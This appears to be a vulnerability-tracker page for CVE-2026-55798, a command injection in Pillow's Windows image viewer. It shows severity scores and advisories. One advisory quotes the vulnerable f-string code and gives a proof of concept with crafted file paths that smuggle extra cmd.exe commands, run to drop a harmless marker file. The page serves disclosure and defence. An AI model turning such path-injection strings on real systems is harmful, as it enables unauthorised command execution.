CVE-2026-55798

mediumpriority · track · 0EPSS 0.002 · 7 %ileEUFRUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.18% (7th) EPSS
CVSS 4.5 · medium
Is it mine?
4 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-27

Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

4.5
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.14.5mediumCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:Lsecondary · ENISA EU
v3.14.5mediumCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:Lsecondary · security-advisories@github.comexploitability 1 · impact 3.4
v3.14.5mediumCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:Lsecondary · OSV
v3.14.1mediumCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (4)

Products and version ranges known to be affected.

05

advisories (4)

Vendor and ecosystem advisories describing this.

  • GHSA-4x4j-2g7c-83w6Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path2026-07-20ghsa · osvUS

    ### 1. Summary `WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a file path into an f-string without escaping. The result is passed to `subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most importantly a double-quote (`"`) that breaks out of the wrapping, followed by `&` — allow injection of arbitrary `cmd.exe` commands. The macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter. The Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this protection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`. --- ### 2. Vulnerable Code **File:** `src/PIL/ImageShow.py`, lines 133–150 ```python class WindowsViewer(Viewer): format = "PNG" options = {"compress_level": 1, "save_all": True} def get_command(self, file: str, **options: Any) -> str: return ( f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping "&& ping -n 4 127.0.0.1 >NUL " f'&& del /f "{file}"' # ← same path, unescaped again ) def show_file(self, path: str, **options: Any) -> int: if not os.path.exists(path): raise FileNotFoundError subprocess.Popen( self.get_command(path, **options), shell=True, # ← shell=True creationflags=getattr(subprocess, "CREATE_NO_WINDOW"), ) # nosec # ← Bandit warning suppressed manually return 1 ``` **Contrast with macOS — SAFE (line 164–168):** ```python class MacViewer(Viewer): def get_command(self, file: str, **options: Any) -> str: command = "open -a Preview.app" command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&" return command # ← shlex.quote() applied ``` **Cross-platform summary:** | Platform | Class | `shlex.quote()`? | `shell=True`? | Safe? | |----------|----------------|------------------|---------------|-------| | macOS | `MacViewer` | **Yes** (line 168) | No (list args) | ✅ Yes | | Linux | `UnixViewer` | **Yes** (line 207) | No (list args) | ✅ Yes | | Windows | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ No | `shlex.quote` is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice. --- ### 3. Proof of Concept A full working PoC is at `poc_pillow_injection.py`. Key parts: **Part A — Injection string construction (static, no execution):** ```python from PIL.ImageShow import WindowsViewer viewer = WindowsViewer() evil_path = r'C:\Temp\evil" & echo PWNED & echo "' cmd = viewer.get_command(evil_path) print(cmd) # Output: # start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ... # ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found) # ├─ & echo PWNED → INJECTED COMMAND # └─ & echo "" && ping ... → continues ``` **Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):** ```python import os, tempfile from PIL.ImageShow import WindowsViewer viewer = WindowsViewer() poc_dir = tempfile.mkdtemp() marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt") # Craft injection: payload writes a marker file (harmless) payload = f'echo REAL_INJECTED > "{marker}"' evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "') # Call the REAL Pillow get_command(): real_cmd = viewer.get_command(evil_path) # Execute the same way the base Viewer.show_file() does (os.system): os.system(real_cmd) assert os.path.exists(marker) # PASSES — marker was created assert "REAL_INJECTED" in open(marker).read() # PASSES # → CONFIRMED: arbitrary command injection via get_command() ``` ---

  • BIT-pillow-2026-55798Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path2026-07-08vendor · osvUS

    Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.

  • CERTFR-2026-AVI-1366Multiples vulnérabilités dans les produits SplunkFrançais2026-10-22vendor · certfrFR
  • PYSEC-2026-22572026-07-06vendor · osvUS

    Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.

06

also known as (7)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-07-06modified 2026-10-25
08

references (15)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan